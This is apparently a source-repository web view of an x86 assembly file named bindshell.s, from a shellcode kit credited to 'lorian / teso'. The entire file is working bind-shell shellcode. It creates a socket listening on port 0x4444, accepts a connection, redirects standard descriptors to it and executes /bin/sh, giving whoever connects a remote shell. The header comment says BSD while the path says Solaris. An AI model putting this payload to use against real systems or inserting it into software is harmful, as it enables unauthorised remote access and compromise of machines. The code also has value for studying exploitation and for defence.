summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_solaris/bindshell.s
blob: 1380747dc0d6dd9fa2aa8b6224d08aa5725bea99 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/* x86/BSD bindsh shellcode (89 bytes)
   
   lorian / teso
*/

	.globl  _cbegin
	.globl	cbegin
	.globl  _cend
	.globl	cend

_cbegin:
cbegin:
	movl	$0x3cfff8ff, %eax
	notl	%eax
	pushl	%eax
	xorl	%ebx, %ebx
	mull	%ebx
	movb	$0x9a, %al
	pushl	%eax
	movl	%esp, %ecx
	
	pushl   %ebx
	incl    %ebx
	pushl   %ebx
	incl	%ebx
	pushl   %ebx
	movb    $0xe6, %al
	call	*%ecx

	xchgl   %esi, %eax
	pushl	%edx
	pushw	$0x4444
	pushw	%bx
	movl	%esp, %ebp
	pushl   $0x10
	pushl	%ebp
	pushl   %esi
	xorl    %eax, %eax
	movb    $0xe8, %al
	call	*%ecx
	movb	$0xe9, %al
	call	*%ecx
	pusha
	popl    %edi
	movb    $0xea, %al
	call	*%ecx
a:	
	pushl	%ebx
	pushl   %eax
	movb	$0x3e, %al
	call	*%ecx
	decl	%ebx
	jns	a
	pushl	%edx
	push    $0x68732F6E
        push    $0x69622F2F
	movl	%esp, %ebx
	pushl	%edx
	pushl	%ebx
	movl	%esp, %edi
	pushl	%edx
	pushl	%edi
	pushl	%ebx
	movb	$0x3b, %al
	call	*%ecx
							
_cend:
cend: